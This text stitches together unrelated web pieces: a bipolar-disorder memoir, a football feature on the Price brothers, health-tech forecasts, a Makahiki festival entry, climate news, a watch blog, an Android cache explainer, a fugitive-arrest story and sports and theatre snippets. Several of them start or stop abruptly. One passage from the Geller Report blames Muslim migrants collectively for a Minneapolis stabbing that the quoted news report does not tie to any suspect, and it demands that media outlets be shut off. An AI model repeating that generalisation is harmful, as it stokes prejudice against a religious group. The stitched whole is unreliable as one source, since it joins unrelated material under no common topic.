Bipolar disorder may not present itself until later in life—after all, it only takes one manic phase to technically be diagnosed—and is usually brought on by a major life change: the loss of a loved one, the end of a relationship, a new baby, and subsequent lack of sleep. For me, that was moving from a small town in Southern Illinois to the biggest city in the US, jobless, and with no money. And it shouldn't be all that surprising; mental illness runs in my family and can be traced back to at least my great-grandparents on my mom's side.
I've reconciled the notion that mental illness is a chronic condition that needs a constant course of treatment, including lifestyle changes, to stay healthy. For me, that means the proper combination of medications, a healthy diet, regular exercise, and sleep. If I slack on my workouts, or get less than six hours of sleep a night, extreme irritability or a slippery slope into a dark depression are sure to follow. Although psychotherapy is also highly recommended, I'm still trying to find a therapist under my insurance who keeps atypical office hours. (Note: Bipolar disorder is covered under the Americans with Disabilities Act, but explaining to your employer that you need at least an hour off every week for therapy still feels embarrassing and self-indulgent).
People with bipolar disorder are also warned to stay away from heavy alcohol use, which is difficult for someone like me, whose entire social life revolves around drinking on the weekends.
"I don't care if people have a drink, but excessive alcohol use is going to be problematic on a variety of levels for people with mood disorders," Gitlin says. "It [makes] you disinhibited, so whatever you're doing, you're going to do more of and unwisely. Secondly, high dose alcohol is a depressant." Trust me, I'm working on cutting back.
Accepting the label of bipolar II is more difficult than depression was, but it's a relief to pinpoint an explanation for my weird hodgepodge of symptoms. Treatment also doesn't mean the symptoms of your illness go away completely. I still have days where I'm depressed, or can't focus, or irritable for no reason. And there's always the fear that I'll never be as creative as I was during my hypomanic phases, although I'd gladly trade being uninspired for feeling like an out-of-control crazy person.
My current combination of prescriptions also may not work for me forever. Gitlin says it's common for patients to change medications and dosages several times throughout treatment. But for now, it's working, and that's something to be thankful for.
Read This Next: Dating With Depression Sucks
Barak is like most 13-year-old boys. He has discovered the secret to twisting a plastic water bottle into an air-pressure-powered projectile weapon. He enjoys free T-shirts and putting his buddies in unprompted headlocks. And like most 13-year-old boys who grow up in the middle of the country, he dreams of being on a football team and hearing a packed stadium cheer his name.
The only difference between Barak and the rest of the sixth graders in Greentown, Indiana, is that he knows that will never happen. He began his life in intensive care, battling what would become hypotonic cerebral palsy. The disorder keeps the brain from communicating properly with muscles, making them weaker and floppier than a healthy person's muscles.
That means Barak will always struggle with fine motor skills. When he speaks, his mouth and tongue have trouble forming the shapes he wants them to. The volume in Barak's world is only turned up to about 75 percent, even with the help of hearing aids. Any physical task is more draining than normal for somebody with cerebral palsy.
"He won't really get a lot of glory in sports. That's not what his specialty is going to be just because of the way he was born."
That's Josiah. Josiah is Barak's older brother by nine years and the third of Tim and Mary Price's four boys. By the time Josiah was the age Barak is now the idea of playing football in front of a roaring crowd was more than a dream. It was a possibility.
Josiah Price is now the pride of Greentown, the top tight end for the undefeated Michigan State Spartans. Only three tight ends in the country have caught more touchdown passes than the five he has this season even though he missed two weeks with an ankle injury. No tight end in Michigan State history has caught more than the 15 touchdowns the redshirt junior has so far in his career.
Barak Price (middle) played football to be like his big brother, and with dad, Tim, and Josiah (left) on the sidelines, Barak made his own big catch in 2014. He ran up to Josiah and yelled "I'm just like you! I caught a touchdown at Lucas Oil!" Courtesy of Price family
They saw this coming in the small, rural town an hour north of Indianapolis, where there is now a healthy mix of Spartan paraphernalia to go with the Colts gear. Churches outnumber stoplights six to one in Greentown, and the high school pulls in kids from half the county to reach a graduating class of about 100 each year. Josiah always stood head-and-shoulders above them all.
When he started to excel in football in high school, Josiah considered transferring to a private school in Indianapolis to help him get noticed by college recruiters. That's what the one or two other Division I athletes who have trickled out of the area in recent memory had done, but the Price family decided to stick to its roots.
"If God wants you to play football somewhere else," said Mary, his mother, "then He can find you here in Greentown, Indiana."
Well, Mark Dantonio found him. So a town that couldn't tell you who Bubba Smith was five years ago now beats a regular path to East Lansing to watch Josiah play. They talk about the passes he catches on TV and the service he does in the community (Price worked with an autistic child when he first got to school and has helped an older quadriplegic man for the past two years). For most of the boys dreaming of playing football one day, Josiah is a hero. But no one thinks higher of him than his little brother.
Barak played peewee football, even though just squirming into a pair of tight football pants was enough to wear him out. That's before he arrived at the practice field and added 15 pounds of pads to a body that was already fighting to support its own weight. This summer, to his parents' delight, Barak decided to give up football and try tennis. But before made a final decision, he needed to call East Lansing for approval.
"He called me a few times," Josiah said. "I was just like, 'Dude, do whatever you like and makes you happy.' He said, 'Man I don't know, I like football because I get to feel like you, but football is really hard.'"
Josiah can relate. When he got to Michigan State, he found that football, for the first time in his life, was hard. He was no longer the strongest or the fastest. Extra hours of work after practice or in the film room didn't seem to close the gap. School was hard, too. Then there was the challenge of living in a city, sharing a campus with 50,000 other students, the massive football stadium, the TV cameras and all those folks counting on him back in Greentown.
Josiah thought about quitting, too, heading home and taking a job at his dad's auto dealership. Barak, in his own way, talked him out of it.
"To see the amount of happiness me playing here gives him, that's my biggest motivation," Josiah said. "He went through a lot when he was younger. Now you see him and he's the happiest little kid in the world."
Barak Price (front with dad, Tim, on left, Josiah in back, and mom, Mary, on right) connects with the Spartans. "He just loves football, loves Michigan State and is always so happy." said QB Connor Cook. "When you see a kid like that, he makes you happy." Courtesy of Price family
Barak doesn't miss a Spartan game. He'll be in Nebraska this weekend when Michigan State faces the Cornhuskers. Two years ago, his parents decided the 10-hour trip to Lincoln would be hard on Barak, so they left him at home. When they returned, Barak let them know that would be the last time he watched his brother through a television screen.
Instead, they share a hug outside every stadium before Josiah goes inside to pull on his pads. At each away game, he finds Barak in the crowd waiting outside as the team bus pulls up. In East Lansing, the Prices wait by the rounded corner of Chestnut and Hall a couple hours before kickoff. It's tradition for Michigan State's players to stop there and rub the feet of a Spartan statue for luck on their walk to the stadium. Most of them have added to the routine a fist bump or a point and a wink at their adopted 13-year-old teammate wearing the green-and-white hearing aids and bouncing on the tips of his sneakers.
Barak is the mayor of the players' families' tailgate at each home game. He plays practical jokes on the adults and organizes two-hand touch games with whatever kids happen to be around. He'll tap an assistant coach on the shoulder after the game and let him know Josiah needs to be getting more targets. He'll run up to give NFL first-round draft picks a high-five, only to pull it away and laugh with them when they whiff.
"A lot of people who have challenges have compensating mechanisms," says Tim, Barak's father. "For him it's just his dynamic personality. It's amazing the way he interacts with people."
The Prices usually arrive in East Lansing on Friday night before home games and stay in Josiah's apartment. Barak plays video games with Matt Costello, Josiah's roommate and a member of the Spartans basketball team that went to the Final Four in the spring. They stop by the team's hotel, where Barak will say hello to his brother and flip through a few YouTube videos with Connor Cook on the star quarterback's cell phone.
"I see him every Friday," Cook said. "I'll be hanging out with my mom and dad the night before the game. He just loves football, loves Michigan State and is always so happy. When you see a kid like that, he makes you happy. I know Josiah always talks about that. When he's having a hard day and goes home and sees Barak, all the sudden he's in a good mood."
Barak's indomitable good mood helped Josiah enjoy small victories during his first year at college. A year later, he nosed his way into the tight end rotation as a redshirt freshman. He continued to earn more playing time as Michigan State pounded its way to an unexpected 11-1 regular-season record. The Spartans earned a spot in the 2013 Big Ten title game against undefeated Ohio State at Lucas Oil Stadium, 60 miles south of Greentown.
During the fourth quarter, Michigan State trailed 24-20 when Josiah found himself alone in the corner of the end zone. Cook hit him with a nine-yard pass on third down for a game-winning score, still the biggest touchdown of his career. After the game he found Barak, whose face was stretched in excited grin as wide as his muscles would allow.
They had no idea they would be back on the same field in nine months, roles reversed. This was a year before Barak called Josiah to see about quitting the football team.
The little bro like big bro! He scored in Lucas Oil today in his 5th grade game! #82 strikes again! Such a special moment! 😍👍🏈🏈🏈 A video posted by josiahmsuprice (@josiahmsuprice) on Aug 23, 2014 at 1:21pm PDT
The Prices decided Barak could be a part of the 2014 Greentown Comets, but they wanted him to be a team manager. When they found out the Comets would get to play an exhibition before a Colts' preseason game at Lucas Oil Stadium, they told Barak he could suit up on the sideline for a game. A quarter of the town was planning to come. When they found out Josiah would be home that weekend between training camp and the start of his season, they figured trying to keep Barak off the field was a lost cause.
The Comets scored a touchdown and drew up a passing play for the two-point conversion. They had yet to complete a pass that season and would only complete a few more before the year was over. Barak, who normally played defense if he was on the field, lined up at tight end and slanted toward the end zone. The ball came his way. It thudded against his green No. 82 jersey -- same as his brother -- and he trapped it against his pads for a score in the corner of the end zone.
Josiah was the Price brother on the sideline this time. Barak came barreling off the field to find his brother.
"I'm just like you!" he yelled. "I caught a touchdown at Lucas Oil!"
"I don't remember if it was the same end zone or not," Josiah said. "We say it was. You would've loved to see his face."
Josiah and Barak watched the video together a dozen times on the car ride back to Greentown. When Josiah returned to campus a day later he burst into the apartment to show Costello, his roommate, the video.
"He came running in saying, 'Matt, look at this! Look at what my brother did!'" Costello said. "He was so excited for him."
Technology and Medicine Innovation will be the key, and Wadhwa notes that things like wearable tech that monitors our health and genome sequencing are among the most interesting—and revolutionary—developments today. These will allow us to enter into a new era of personalized health. In so doing, it will utterly transform our lives and longevity—allowing us to predict and prevent disease as never before. He also asserts that notable advances, like the human genome project, which has made advances in biotechnology and synthetic biology possible, are leading a new generation in medicine. Of course, Wadhwa also mentions CRISPR. Thanks to the state-of-the-art genetic editing tool, we have “the most amazing — and scary — genetics technology of all.” What other transformative advances are taking place? Wadhwa pointed to microbiomes, calling them the “the next big medical frontier.” He states that these bacterial systems in our bodies affect us far more than we know, and we are finally coming to understand them. “[I]in reality, there are 10 times as many microbes in our body as cells. This is a field that I am most excited about, because it takes us back to looking at the human organism as a whole. The microbiome may be the missing link between environment, genomics, and human health,” Wadhwa explains.
He sums the exciting possibilities, stating, “There are also advances in 3D-printed prosthetics and bionics. One company, UNYQ, for example, is ‘printing’ new limbs for people with disabilities. Ekso Bionics has developed robotic exoskeletons to help the paralyzed walk again. Second Sight is selling an FDA-approved artificial retinal prosthetic, the Argus II, which provides limited but functional vision to people who have lost their vision due to retinitis pigmentosa, a retinal ailment. I expect that, by 2030, we will have developed enhancements that give us perfect vision, hearing, and strength as seen in the 1970s television series, ‘The Six-Million Dollar Man.'” So exciting times are ahead, but of course, it will take time to get there. Still, this next decade has much in store. Yes, it will take time for the inventions to get from the lab to people in need, and the technology elite will have these before the rest of us. But this will only be for a short period, because the way the tech industry builds value is by democratizing technology, reducing its cost and enabling it to reach billions. This is why I am so excited that companies such as IBM, Facebook, and Google are taking the mantle from the health-care industry. The next big break in medical research will be brought to us by these emerging technologies. “These companies have a motivation to keep us healthy: so that we download more applications rather than remain hooked on prescription medicines,” Wadhwa aptly concludes.
The Makahiki season is the ancient Hawaiian New Year festival, in honor of the god Lono of the Hawaiian religion.
It is a holiday covering four consecutive lunar months, approximately from October or November through February or March. The focus of this season was a time for men, women and chiefs to rest, strengthen the body, and have great feasts of commemoration (ʻahaʻaina hoʻomanaʻo). During Makahiki season labor was prohibited and there were days for resting and feasting. The Hawaiians gave thanks to the god Lonoikamakahiki for his care. He brought life, blessings, peace and victory to the land. They also prayed to the gods for the death of their enemies. Makaʻainana (commoners) prayed that lands of their aliʻi (chief) may be increased, and that their own physical health along with the health of their chiefs be at the fullest.[1]
In antiquity, many religious ceremonies occurred during this period. Commoners stopped work, made offerings to the chief or aliʻi, and then spent their time practicing sports, feasting, dancing and renewing communal bonds. During the four lunar months of the Makahiki season warfare was forbidden which was used as "a ritually inscribed means to assure that nothing would adversely affect the new crops."[2]
Today, the Aloha Festivals (originally Aloha Week) celebrate the Makahiki tradition.[3]
Festivities [ edit ]
The Makahiki festival was celebrated in three phases. The first phase was a time of spiritual cleansing and making hoʻokupu, offerings to the gods. The Konohiki, a class of chiefs that managed land, provided the service of tax collector, collected agricultural and aquacultural products such as pigs, taro, sweet potatoes, dry fish, kapa and mats. Some offerings were in the form of forest products such as feathers. The Hawaiian people had no money or other similar medium of exchange. These were offered on the altars of Lono at heiau (temples) in each district around the island. Offerings were also made at the ahu, stone altars set up at the boundary lines of each community.
All war was outlawed to allow unimpeded passage of the image of Lono. The festival proceeded in a clockwise circle around the island as the image of Lono (Akua Loa, a long pole with a strip of tapa and other embellishments attached) was carried by the priests. At each ahupuaʻa (each community also is called an ahupuaʻa) the caretakers of that community presented hoʻokupu to the image of Lono, a fertility god who caused things to grow and who gave plenty and prosperity to the islands. The Akua Loa was adorned with white kapa streamers and the king placed a niho palaoa necklace on the deity.[2] During a certain time the deities couldn't be upright therefore were laid down or put horizontally as a “sign of homage to the king."[2]
The second phase was a time of celebration: of hula dancing, of sports (boxing, wrestling, sliding on sleds, javelin marksmanship, bowling, surfing, canoe races, relays, and swimming), of singing and of feasting. Some of these games that were played were physical sports. Other games were played for your mind. However, not only were the contestants being judged but their family name was also on the line.[4] One of the best preserved lava sled courses is the Keauhou Holua National Historic Landmark.[5] The Kanaka Maoli were also passionate about the games for their mind. These games consisted of riddles, recitation of genealogies, proverbs, and knowledge of hidden meanings.[6] Our ancestors cherished these games and held them dear to their naʻau. They also placed bets on a favorite champion, which was a common practice in traditional times. Some daring to bet their lives as well. Makahiki games are still practiced today by many organizations and enrichment programs for the younger generation to learn about their ancestors.[7]
In the third phase, the waʻa ʻauhau — tax canoe — was loaded with hoʻokupu and taken out to sea where it was set adrift as a gift to Lono.[8] At the end of the Makahiki festival, the chief would go off shore in a canoe. When he came back in he stepped on shore and a group of warriors threw spears at him. He had to deflect or parry the spears to prove his worthiness to continue to rule.
Arrivals during the season [ edit ]
A royal birth during the season was sometimes given the name Lono i ka makahiki.
The sails and masts of Captain James Cook's ship resembled Lono's Akua Loa. Captain Cook arrived at Kealakekua Bay, near a large heiau to Lono during the Makahiki season in 1778.
Origin [ edit ]
The ancient Hawaiians split the year into two seasons.[2] The first was called the Makahiki season which was a period of four lunar months. The second lasted eight lunar months where rituals of Kū were practiced.[2] In the Hawaiian language, the word Makahiki means "year"[3] as well as the change from harvest time to the beginning of the agricultural season. This probably came from Makaliʻi hiki the rising of the Pleiades, known in Hawaii as the Makaliʻi, which occurred about this time.[9] It might also come from ma Kahiki, meaning roughly "as in Tahiti", since the legend of Lono is associated with voyages to and from Tahiti. Its origins are linked to the "return" of Lono, during one of the early migrations, in the form of a mortal man.[10]
Timing [ edit ]
The beginning of Makahiki generally is fixed each year by astronomical observations. On the Island of Hawaiʻi, when Makaliʻi (Pleiades) star cluster rises shortly after sunset, usually on November 17, the rising of the following first crescent moon marks the beginning of the season. On Oʻahu, it may begin when Makaliʻi rises above Puʻu o Mahuka Heiau, as seen from Kaena Point, or when the star ʻAʻa (Sirius) appears in conjunction with a particular land form high on a cliff.
See also [ edit ]
Giant tabular icebergs surrounded by ice floe drift in Vincennes Bay in the Australian Antarctic Territory on January 11, 2008. Australia's CSIRO's atmospheric research unit has found the world is warming faster than predicted by the United Nations' top climate change body, with harmful emissions exceeding worst-case estimates. less Giant tabular icebergs surrounded by ice floe drift in Vincennes Bay in the Australian Antarctic Territory on January 11, 2008. Australia's CSIRO's atmospheric research unit has found the world is warming ... more Photo: Torsten Blackwood, AFP/Getty Images Photo: Torsten Blackwood, AFP/Getty Images Image 1 of / 4 Caption Close Warming nears point of no return, scientists say 1 / 4 Back to Gallery
The Earth is reaching a "tipping point" in climate change that will lead to increasingly rapid and irreversible destruction of the global environment unless its forces are controlled by concerted international action, an international group of scientists warns.
Unchecked population growth, the disappearance of critical plant and animal species, the over-exploitation of energy resources, and the rapidly warming climate are all combining to bring mounting pressure on the Earth's environmental health, they say.
Scientists from five nations, led by UC Berkeley biologist Anthony Barnosky, report their analysis Thursday in the journal Nature.
They likened the potential impact of the forces to previous major changes - both gradual and abrupt - in the planet's history that triggered mass extinctions and expansions, and produced completely new worldwide environments.
The most recent of those was the sporadic end of the last ice age that began 14,000 years ago and shifted rapidly from warm to cold and then back to warm again over a few thousand years. That period saw the extinction of half the world's large animal life, and then the spread of an expanding human population to every continent on the planet.
Difficult to reverse
A similar "critical transition" is occurring now, Barnosky's scientists maintain, and they warn that once it starts, it will be "extremely difficult or even impossible for the system to return to its previous state."
"The science tells us that we are heading toward major changes in the biosphere," Barnosky said in an interview this week. "And given all the pressures we are putting on the world, if we do nothing different, I believe we are looking at a time scale of a century or even a few decades for a tipping point to arrive."
2 years of research
Barnosky, who tracks longtime changes in the fossil record, and 22 other scientists spent two years in conferences and research to produce their review. It is timed for a U.N. conference on sustainable development - known as the Rio+20 Conference - that is scheduled for Rio de Janeiro from June 22 to 24. The conference will mark 20 years since the first "Earth Summit" at Rio, involving delegates from 172 governments, produced the first international conventions on climate change and biodiversity.
In their report in Nature, the scientists say their research shows many combined factors are thrusting the world toward the tipping point they foresee. Among the problems are these:
-- The rapid growth in the world's human population - to 9 billion or more by 2050 and possibly 27 billion by the end of the century - is quickly consuming available resources.
Fossil fuels are being burned at a rapidly increasing rate, increasing concentrations of carbon dioxide in the atmosphere by 35 percent since the industrial revolution began. At the same time, ocean acidity has risen by 5 percent in the past 20 years.
-- Ocean productivity is being diminished by vast "dead zones" where no fish swim, while 40 percent of Earth's land mass that was once "biodiverse" now contains far fewer species of crop plants and domestic animals.
-- More animal species than ever are becoming extinct, and many plant and animal species are being forced by global warming to seek new ranges that could place them at risk of extinction, as well.
-- Within the next 60 years, the average global temperature "will be higher than it has been since the human species evolved."
Not a sure thing
The scientists concede there is "considerable uncertainty" that these forces will inevitably lead to such a rapid and radical transformation of the world's environment - a "state shift," as they call it - but they argue such a shift is "highly plausible" and may have already begun.
Slowing or reversing that transition will require international cooperation to slow population growth, curb dependence on fossil fuels, increase the efficiency of food production, and manage both lands and oceans as reservoirs of biodiversity, the scientist say.
Richard Lindzen, a climate scientist at Massachusetts Institute of Technology who has been a vociferous skeptic on the urgency of global warming, called the warnings by Barnosky and his colleagues "highly implausible."
"Even if their models of the future were correct, what's crucial is the time frame, and no one thinks that something terrible will happen in anything like the future they see," Lindzen said. "Their population predictions are extremely unlikely, and their climate predictions are always hypothetical."
An accuracy manifesto
We regularly see a lot of novelties, but what about real technical innovations allowing more accuracy for our mechanical watches ?
During the latest SIHH, we were happy to see that watchmakers from Parmigiani Fleurier were close to completing a major technical innovation : a new regulating organ totally made of silicon! Year after year, pioneer watchmakers such as Rolex, Omega or Patek Philippe have been testing and implementing new materials in their watches to enhance reliability and accuracy. Today, Parmigiani seems to be leading the path to new processes allowing both more precision and this, during much more time with power reserves of tens of days while average of the market is roughly two days.
While Rolex, Omega or Patek Philippe introduce parts in silicon in their movement to enhance in an incremental way their calibers, Parmigiani has taken a whole new approach for its escapement. The Senfin Concept Watch rethinks the architecture of its regulating organ to both increase its frequency and also reduce its need of energy supply. This whole “integrated” process is extremely promising and represents to us the future of research and development regarding the accuracy of mechanical watches. We can’t wait to learn more on this concept watch !
In parallel, we find really interesting the will of Omega of introducing a new certification with the Federal Institute of Swiss Metrology, the METAS. To obtain this certification opened to any watchmaker, the watches (and movements!) will have to bear magnetic fields up to 15’000 Gauss while keeping a precision betweent 0 and +5 seconds per day. The power reserve as well as the water resistance are also checked. This METAS certification will force watchmaker to keep offering watches more and more accurate and reliable for every use case. This is really different from the numerous quality tests that were only focusing on the precision of movements not even cased and in a totally controlled environment, really far from the conditions it will face once on its future owner’s wrist. Therefore, we come back to the foundations of watchmaking : creating precise watches that we can rely on, at any given time.
We also understand that this trend allows some watchmaking brands to differentiate themselves in a highly competitive market. Accuracy being the most obvious comparison factor between calibers and therefore between watchmaking maisons.
In this quest for precision, and before concluding, we would like to praise the risk taken by Piaget with a hybrid caliber that has proven its worth at Seiko : the quartz oscillator. Traditional horology is looking for solutions and testing new process combining tradition and technology. We have been surprised by this new watch showcased by Piaget during the past SIHH but we prefer the efforts deployed by Parmigini who brought forward a true research of technical improvement while respecting the 100% mechanical watch. Okay for precision, but with a respect of traditional mechanics as well!
In our world of digital and smartwatches, mechanical horology has not spoken its last word and contrariwise offers itself new technological perspectives. Traditional watchmaking adapts to its time and continues to gives us to enjoy extraordinary timepieces from a reliability and technical point of view. We can’t wait to see what Swiss watchmakers will propose to watch aficionados around the world !
Toolwatch in Europa Star
We are proud that this article was originally published in Europa Star during the 2016 Baselworld fair. For the purists (or if you just want to practice your french), you can read the original article.
These media outlets need to be thoroughly repudiated and shut off. This slanted coverage of the most important story of our time is unacceptable, and it leads to attacks like this from Muslim migrants who are emboldened, knowing that no serious effort will be made to stop them, and victims who are careless because they don’t realize there is a threat. This has to stop.
“Woman Stabbed 14 Times Speaks About Ordeal,” KSTP, December 20, 2017:
A Minneapolis woman who was stabbed 14 times while walking to her Uptown home said she is doing better and is focused on helping police catch her attacker. Twenty-six-year-old Morgan Evenson said she was attacked Dec. 13 while walking home from her job at the Apple store on Hennepin Avenue.
Evenson told KSTP she struggled with her attacker at the corner of 32nd Street and Fremont Avenue and she considers herself lucky to be alive. “It was horrifying, because I could feel something that felt like it was stinging me, but it was him stabbing me,” she said. “Doctor’s told me I had 14 wounds that needed stitches, including a lacerated kidney.”… “I cannot imagine anyone attacking someone like that and as a woman it is especially frightening, but I knew I had to fight back and I want him to know I am OK and that he will be caught,” Evenson said. Evenson said she is extremely grateful to neighbors and passersby who heard her screaming and came to her aid which, she said, ultimately led to her attacker running away…. A GoFundMe page has been established in Evenson’s name.
The Truth Must be Told Your contribution supports independent journalism Please take a moment to consider this. Now, more than ever, people are reading Geller Report for news they won't get anywhere else. But advertising revenues have all but disappeared. Google Adsense is the online advertising monopoly and they have banned us. Social media giants like Facebook and Twitter have blocked and shadow-banned our accounts. But we won't put up a paywall. Because never has the free world needed independent journalism more. Everyone who reads our reporting knows the Geller Report covers the news the media won't. We cannot do our ground-breaking report without your support. We must continue to report on the global jihad and the left's war on freedom. Our readers’ contributions make that possible. Geller Report's independent, investigative journalism takes a lot of time, money and hard work to produce. But we do it because we believe our work is critical in the fight for freedom and because it is your fight, too. Please contribute to our ground-breaking work here.
Force Stop
At the heart of Android is the Linux kernel, it is the component responsible for managing memory and processes along with a whole bunch of other resources. Whenever you start an app you are actually starting a Linux process.
A process is a logical container for a program (app). It is started by the kernel and is used as a way to share the system resources (including memory and CPU time) among all the running apps. Each process has an ID, known as the PID (Process ID); a priority, how important is it; its own address space, plus related pages of physical memory; and some state information: running (or runnable), sleeping, stopped and zombied.
The kernel’s job is to schedule CPU time and allocate memory to the process so that it can run. The way it works is that the kernel gives slices of CPU time to each of the running processes. If a process is sleeping (because it is waiting for something like data from the network) then it doesn’t get any CPU time. This juggling of processes goes on at the millisecond level, very fast, and just like the frames of a cartoon, you get the appearance of smoothness and multiple programs running at once.
Finally, when an app exits, the kernel will clean up all the resources used by the app (like open files, allocated memory etc) and eventually delete the process that was created for that app.
Each app can be in one of several different states: running, paused or stopped. These are different from the process states, as defined by Linux, and represent the “Activity Lifecycle” as defined by Android. Google puts it like this, “as a user navigates through, out of, and back to your app, the Activity instances in your app transition through different states in their lifecycle.”
The interesting thing about Android is that it never kills an app directly. Instead, it kills the process in which the activity runs, destroying not only the activity but everything else running in the process, as well. It might do this when it needs to free up RAM or a user can kill a process by using Force Stop in the Application Manager.
When everything is working smoothly, an app will transition from one activity state to another and will either eventually be killed off by Android (after moving to the stopped state) or it will just hang around in the background until the user brings it to the foreground again. However, if things start to go wrong the app can misbehave. It might stop responding to certain events, it might get stuck in some kind of loop or it might just start doing unpredictable things.
In such cases, the app might need to be killed off and then restarted. That is what Force Stop is for, it basically kills off the Linux process for the app and cleans up the mess!
The reason why using Force Stop is recommended when trying to fix a misbehaving app it is 1) it kills of the current running instance of that app and 2) it means that the app will no longer be accessing any of its cache files, which leads us to step 2: Clear Cache.
Clear Cache
After the app has been killed the next step is to delete the data in the cache directory. When an application needs a temporary file, a pre-processed file, or when it wants to keep a local copy of a file which was downloaded from the Internet then it will get placed in the app’s cache directory. Each app has its own directory where it can put working files.
The idea is as follows. If an app downloads files or data from the Internet then it would be a waste of bandwidth plus a waste of time to download the very same files every time the app starts. Instead, any files that need downloading from the Internet can be downloaded once and then stored in the cache. From time to time the app can check if those temporary copies are still valid and refresh the cache if needed.
Another example would be if the app needs to process a file, maybe perform some decoding or decryption on some data. Rather than performing this decoding or decryption every time the app launches, which would use a lot of CPU cycles, the app can do it once and then store the result in the cache. Again, the app could check the validity of the processed file and refresh the cache if needed.
The reason these are temporary files is that the app should not rely on these files being present as Android can delete them when a device runs low on storage. In these cases, the app just simply downloads the data again, or processes the files again and creates new ones in its cache.
Apps can also store files more permanently by using the app data directory. This is different to the cache directory and is designed for persistent files owned by the app. Since Android is able to delete files in the cache directory without notifying the app, it is also safe for users to delete those files via the “Clear Cache” button!
This can help fix misbehaving apps as it clears out the pool of temporary files and forces the app to recreate them and so gives the app a kind of fresh start. This can often fix the problem as the error was in the processing of a temporary or cached file.
A side benefit of clearing the cache is that it frees up storage space. So if you are running low on internal storage then clearing the cached data for all apps can help.
Wrap-up
After some experimentation during the Android P beta, Google’s latest version of Android keeps the same buttons and functionality for Force Stop and Clear Cache as previous versions. You’ll still find both under the apps setting menu.
Editor's Pick Android P will automatically crash your non-responsive apps Android Developers Many Android users will have seen an "app not responding" (ANR) window before, as an application hangs or freezes. The window, which allows you to forcibly close an app or wait to …
Android 9.0 Pie does introduce something new though – the automatic closing of non-responsive apps. This means that you hopefully won’t have to force close apps that stop responding anymore, the system should handle everything automatically. As such, users won’t see the “app not responding” (ANR) dialog box to alert them to an unresponsive app if they’re running Pie. However, if for some reason an app does stop responding Pie users should still try the Force Stop and Clear Cache buttons to kill the app and then restart it.
If you need instructions on how to clear an apps’ cache then there are a number of excellent guides on Android Authority including how to clear app data and cache in Android 6.0 Marshmallow and how to regain storage space by cleaning the cache on your Android device. Using Force Stop is very similar, just follow the instructions in the linked guides, but tap on “Force Stop” rather than “Clear Cache.”
That's what he told the Jefferson County, AL, Sheriff's Office Facebook page after they shared a "Wanted" picture and description of 21-year-old McCombs in an album titled "Creep of the Week".
A warrant was put out for McCombs' arrest on January 5. He apparently had several other misdemeanor warrants as well. What the sheriff's department were likely hoping for was to get some leads as to the fugitive's whereabouts — but instead they made direct contact.
"And good thing I moved out of state," read McCombs' first Facebook comment under the photo police shared with his "Wanted" description.
McCombs's response ignited a two-hour comment war between McCombs, Facebook users, and the Jefferson County Sheriff's Office Facebook administrator.
Though the conversation has since been removed, the website BuzzFeed featured screenshots of the conversation in its report.
LOOK:
"Doesn't matter where you moved the warrant calls for nationwide extradition. You will be brought back to Alabama to stand trial. Please turn yourself in and spare yourself all that trouble. It will be easier on you and your family," wrote the administrator.
"You guys can just hold your horses," McCombs replied.
The administrator offered to take the conversation off of Facebook, but McCombs declined. "[O]n here is just fine," read his response. However, his tone eventually shifted from defiance to concession.
"Can I turn myself in to St. Clair County since thats where the warrant is, I hear it's nicer over there," asked McCombs in another Facebook comment. He then persisted with questions, including the specifics of misdemeanor warrants and whether he could retain a court date without surrendering. He even expressed worry that his character had been "defamed" by the "Creep of the Week" association.
Other users also engaged with McCombs.
"You know they are going to knock on your brother's door, your parents', etc., until they find you," warned one commenter, to whom McCombs wrote, "Funny part about them knocking on all of their doors is none of them know where I am. And yes I'm going to turn myself in, when I'm ready, are you going to post my 60K bond?"
The Sheriff's department quickly chimed in, "Dustin, be quiet. Do not talk about the case here."
McCombs naive use of Facebook eventually led to his arrest.
"The person featured in the Creep of the Week album this week, Dustin McCombs, was captured in Ohio today by the U. S. Marshals Fugitive Task Force. He will be returned to Alabama to face the charges against him. He remains innocent until proven guilty in a court of law," Jefferson County Sheriff's department posted on its Facebook page Friday, February 3.
"Thanks for having this page JCSO - wish the Birmingham PD would update their FB pages and keep us as informed as you do," posted one commenter.
"This is a pretty silly-acting individual to be facing such a serious charge," Chief Deputy Randy Christian told Alabama Live. " Of course we are happy to let him know that, yes, we can catch you, but more than anything we are happy that maybe his victim is a step closer to getting justice."
We already know law enforcement agencies troll social websites to find wanted criminals and to prevent crimes. In late January, two 20-somethings arriving from the U.K. were deported before getting through customs for one's tweets about "destroying America."
Other have used social media to their advantage while hunting for lost items. For example, a man recently located his stolen laptop hundreds of miles away by using a tracking program and the help of Twitter users.
DeAndre Levy likely will miss Sunday’s season opener against the San Diego Chargers, but the Detroit Lions linebacker is improving from the hip injury that’s kept him out of practice the last two weeks.
The fantasy sports website FanDuel reported Wednesday that Levy could miss extended time with “possible internal damage” to his hip and may require surgery.
But a person familiar with the diagnosis, while declining to detail the injury, said Levy will not require surgery and has shown signs of improvement.
Levy did not practice Wednesday, but the source said he has been running on the side with trainers out of view of reporters and has not suffered any setbacks in his rehab.
The Lions, believing Levy will return in a matter of weeks, decided not to use their short-term injured reserve designation on Levy on Sunday. Had they placed Levy on IR-designated for return, he would have missed at least the first half of the season.
Lions coach Jim Caldwell did not offer an update on Levy before practice Wednesday, and the team declined comment on the FanDuel report.
Chargers quarterback Philip Rivers said in a teleconference with Detroit reporters that he’s preparing this week as if Levy will play.
“He obviously jumps off the film,” Rivers said. “What really impresses me is how he does a little bit of everything. He’s a heck of a rusher, he really brings it when he blitzes. At the same time you look up and he’s out there covering some team’s best receivers. A lot of times on tight ends, he’s right there stride for stride with them. He really can do it all, so obviously we’ll see.
“We’re going to expect him to be out there and be at his best. I think that’s the best way to go into every game is to expect every guy to play and expect the best from every guy and then if they’re not out there then we adjust from there.”
Levy has started every game at weak-side linebacker the last two years for the Lions and is one of their most irreplaceable players. He had a career-high 151 tackles last year, and in 2013 he led the Lions with six interceptions.
The Lions signed Levy to a four-year, $33-million contract extension last month that at the time made him the highest paid 4-3 outside linebacker in the NFL. Lavonte David of the Tampa Bay Buccaneers signed a richer deal less than a week later.
Josh Bynes is expected to start in Levy’s place Sunday alongside Stephen Tulloch and Tahir Whitehead.
After two and a half months of stagnant ticket sales the Broadway musical “The Last Ship” started taking off at the box office last week when its star composer, Sting, joined the cast in a last-ditch effort to attract more theatergoers.
